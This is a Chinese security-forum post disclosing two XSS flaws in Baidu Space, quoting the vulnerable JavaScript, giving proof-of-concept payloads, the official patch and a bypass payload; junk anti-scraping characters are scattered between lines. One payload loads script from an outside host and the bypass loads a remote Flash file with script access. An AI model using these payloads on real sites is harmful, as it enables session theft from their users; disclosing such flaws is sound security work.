中国网络渗透测试联盟
标题:
hi.baidu Xss 漏洞
[打印本页]
作者:
admin
时间:
2013-8-24 11:51
标题:
hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
5 @6 j3 d, Z: J) D. u: t
1 d0 l5 |% y( k& k
1.在
http://hi.baidu.com/p__z/modify/sppet
中,用户可以输入留言管理,提交后,未过滤直接储存.
/ Q! f3 [) n& A, X
2.在
http://hi.baidu.com/ui/scripts/pet/pet.js
中
9 J# F& D* i5 D( K+ O6 w4 t
' \( Z6 C3 f: o- c9 N; W
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
2 z) t/ i- v7 m9 t1 i* e5 o; t
其中BdUtil.insertWBR为
' L7 p$ N( {2 E! O
function(text, step) {
7 W% d' t. ^5 Q" O0 t8 k7 M5 P+ y
var textarea = textAreaCache || getContainer();
* {8 g2 o/ X- h6 F( n; o
if (!textarea) {
9 B6 D0 S* } u* j+ {+ d+ s
return text;
2 M: S0 B+ y, V
}
! p ?$ c$ Q- @7 T6 u; t
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
8 e5 ? v' t6 }$ Z! i
var string = textarea.value;
& b: \! b& k8 ] h" A/ X
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
4 L$ y" N: |1 T G( @1 S9 d
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
* E; ^( T, F9 v& m* X+ ^
return result;
j4 { ~' @0 g& h6 [
}
$ p0 L% Q6 h/ h) I( P/ F# W4 D: j
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
. \% o" G8 b9 p
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
9 L8 e. o: v! s
+ q( q" e0 U* H' E$ V8 j
二:creatbgmusic() Dom-Xss Bug
" X9 w- T, G; u
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
$ u9 g2 R# b. O# H& q3 c" k
- K, E( @+ ^* u1 I' f1 f* Y
在
http://hi.baidu.com//js/bgmusic.js?v=1.0.js
代码:
# _* X( `. y, \2 t4 P$ s
5 `+ B4 l; `* c" w" \0 q
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
) b4 {4 A* j. }& O/ o* b& a- x
//传入的murl赋值到bgmusic1和bgmusic2中
1 b4 Y3 }: G4 q, R* b2 K
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
3 f. m$ x7 `4 Q8 p! S* U. w
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
7 X, |7 b8 b: W. @ s
if (musicnum <= 1) {
5 |) g# U+ S$ _0 L. X& x" b
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
2 y$ [' c" ^& a- {
}
9 y) K4 I8 @' B0 b) e9 k; S6 U. [
bgmusic1 += "</OBJECT>";
; m+ m& w0 Z3 h s, J# H
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
3 t' E* N/ z2 X- q; Y# X6 C
if (musicnum <= 1) {
: d3 y/ d4 b! E
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
5 N6 Q3 P% L% j( }5 F0 _9 m! F
}
5 a! y- j0 g4 k6 Q7 ^ D% e2 I
bgmusic2 += "> </EMBED>";
+ \' `: Y" f( z+ `8 S' A; b
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
+ t3 }5 z! `% p) p
var bgmus = detectWMP();
. s& c8 y. Y/ i" W$ ^# h c( w
if (functype == "FckMusicHelper") {
* E4 y* y2 \. U. M7 B/ F
if (bgmus.installed) {
/ U+ Z6 m, H6 V7 r
if (bgmus.type == "IE") {
$ g" k/ x1 X: \ x* t5 b
return bgmusic1;
2 w# j: n& ] Q4 t
} else if (bgmus.type == "NS") {
( z! E5 D- q0 I1 s( o; r6 @: B
return bgmusic2;
! ~/ ]/ E0 K h. a( ?7 D0 p
}
0 \# h8 i3 D B$ j& p# P
} else {
4 `, |) p/ a/ t/ Y/ }3 I
return bgmusic3;
3 m2 r: m3 z6 }7 S" \$ M" q1 }" c
}
8 r9 @; z9 T s1 ]; X, ~8 y
} else {
6 ?* s4 E$ s0 \7 ^5 H) m) N
if (bgmus.installed) {
|) N$ K* d9 O
//document.write 直接输出bgmusic变量 导致xss
3 G+ r1 g n" n8 |' }, y& e8 P
if (bgmus.type == "IE") {
# L- B/ b% F% d% r3 @2 \
document.write(bgmusic1);
4 @( _: R- P4 c1 c$ u# U
} else if (bgmus.type == "NS") {
4 \3 H! A$ u! k5 D
document.write(bgmusic2);
, L1 \* w, [3 ^
}
0 n1 T _; t. U6 K% {9 R5 s6 S
} else {
2 H2 ]3 x& d0 j- v" C1 H: [" e
document.write(bgmusic3);
; J5 n2 u0 f3 g% H9 o- o7 E( P% Z
}
! ]/ y2 p! ^2 |# H8 |& I) o- Y
return "";
8 A1 N& X, F- g/ m' a
}
M2 ]- X* Y, O% o
}
8 n3 {: ^" l U& n
& k6 Y$ V, y+ q" s$ r0 q
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
5 G* R' [. b- X2 I/ ~( N- h( H5 I+ } U
1 j$ n+ m- y& s6 U! x9 W
function initBlogTextForFCK(){
# }4 M: m- Y' t( v* U
//fck init music
. z4 }: F; G l) e5 ]
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
, V" R% o9 ?, ?% R) A% e. l8 M
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
' A7 C, [1 A3 Y( G
var isAutoPlay=true;
3 T5 c# }: Q" j5 p. G
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
& ]: u5 g/ w% w/ V. }1 D& ]1 B
var img=imgBox;
) B# C9 Q+ |4 G8 X5 \3 Z7 d
if(img.getAttribute(’rel’)){
( `: z! H. n, Y
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
$ n) j; |% U4 o/ [4 H9 k
var musicDiv = document.createElement("SPAN");
- P/ N ]1 t$ B# \6 h, G) x9 s
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
2 i7 Q4 T' L3 e' q0 W
) P" b2 O; f! m2 w1 x' M: \7 I
..........................
5 @5 V" Q. A: r4 `
+ F# f5 p; m* `" ]! v! Z
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
% M$ y/ u5 \3 F0 A
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
$ D6 Y' t/ l9 b/ U% h' H
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
- |: l# c# p6 U; k- R
musicDiv.innerHTML=shtml;
7 z1 B0 _$ j# h% f
i--;n--;
. E1 E# H; B. ~
}
+ U8 O; W& l- v+ j O. R
}
" b0 W. f; L5 ~' J
6 I# Z& o8 q, H- L( |" I3 G3 c
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
' ]1 H" Z8 |4 y9 W9 N# @
6 B n6 t8 F+ R7 F
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
9 @+ @: ~+ F7 X0 V4 u- u9 R6 s6 _
! u7 F! D. h" w* M& S6 d
等待官方补丁
8 E$ r1 k- S6 Z2 C2 w% l1 h
. W9 d+ e2 R; T0 ?) I
update 2010年5月13日
% {- w% B2 X) P) o9 R
" r$ ?5 I0 T O3 H' n; d6 f
官方补丁:
$ Q$ p4 }7 m$ _
/ P; a5 R0 K: z1 z3 w2 g2 n4 N5 y) D
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
0 S6 @; E4 A1 _) R, Y ?6 G
改为:
9 ^2 V u$ \6 u" C: H, g( x$ j! g6 z
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
: `% u: N: e9 F4 Q: e* Q
) p# P' R5 m& K) o1 V* ]0 R+ Y
update 2010年5月13日 21:50:37
1 F5 m: \$ x' }- k
! \) @0 E* z) B8 T7 o
补丁存在漏洞 没有过滤" 可以继续跨:
* A8 o0 Z! k8 Z/ r
) N1 E& h1 V" E
NEW POC:
% w* m0 y, }6 E, }) |9 m& g7 C: f
& V- h9 e( g: u8 k$ Q) n1 F
<img width="200" height="45" _fcksavedurl="
http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif
" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’
http://www.xsser.net/pz/js.swf
"
1 O: A3 t1 @. ^6 i* f. b
% _. v; y/ E, U* L
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
! X5 J$ W5 I# W/ S& z. @4 b1 l
5 s+ l" |- k, G3 U: ]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2